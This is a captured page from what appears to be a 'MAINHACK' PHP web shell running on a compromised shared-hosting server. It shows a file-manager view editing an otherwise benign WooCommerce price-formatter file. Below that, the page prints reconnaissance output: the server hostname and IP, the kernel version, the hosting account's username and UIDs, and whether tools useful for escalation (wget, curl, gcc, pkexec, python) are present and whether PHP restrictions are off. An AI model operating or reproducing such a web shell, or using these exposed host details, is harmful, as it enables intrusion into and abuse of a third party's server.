[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OrderPriceFormatter.php
<?php /** * OrderPriceFormatter class file. */ declare( strict_types = 1 ); namespace Automattic\WooCommerce\Internal\Email; use WC_Abstract_Order; use WC_Order_Item; /** * Helper class for formatting prices in order emails. * * @internal Just for internal use. */ class OrderPriceFormatter { /** * Gets item subtotal - formatted for display in emails. * * @param WC_Abstract_Order $order Order instance. * @param WC_Order_Item $item Item to get unit price from. * @param string $tax_display 'incl' or 'excl' tax display mode. * @return string Formatted item subtotal. */ public static function get_formatted_item_subtotal( WC_Abstract_Order $order, WC_Order_Item $item, string $tax_display ): string { $includes_tax = 'excl' !== $tax_display; $item_subtotal = $order->get_item_subtotal( $item, $includes_tax ); return self::format_price( $order, $item_subtotal, $includes_tax ); } /** * Helper method to format price with or without tax. * * @param WC_Abstract_Order $order Order instance. * @param float $amount The amount to format. * @param bool $includes_tax Whether to include tax in the formatted price. * @return string Formatted price string. */ private static function format_price( WC_Abstract_Order $order, float $amount, bool $includes_tax ): string { return wc_price( $amount, array( 'ex_tax_label' => ( ! $includes_tax && $order->get_prices_include_tax() ) ? 1 : 0, 'currency' => $order->get_currency(), ) ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252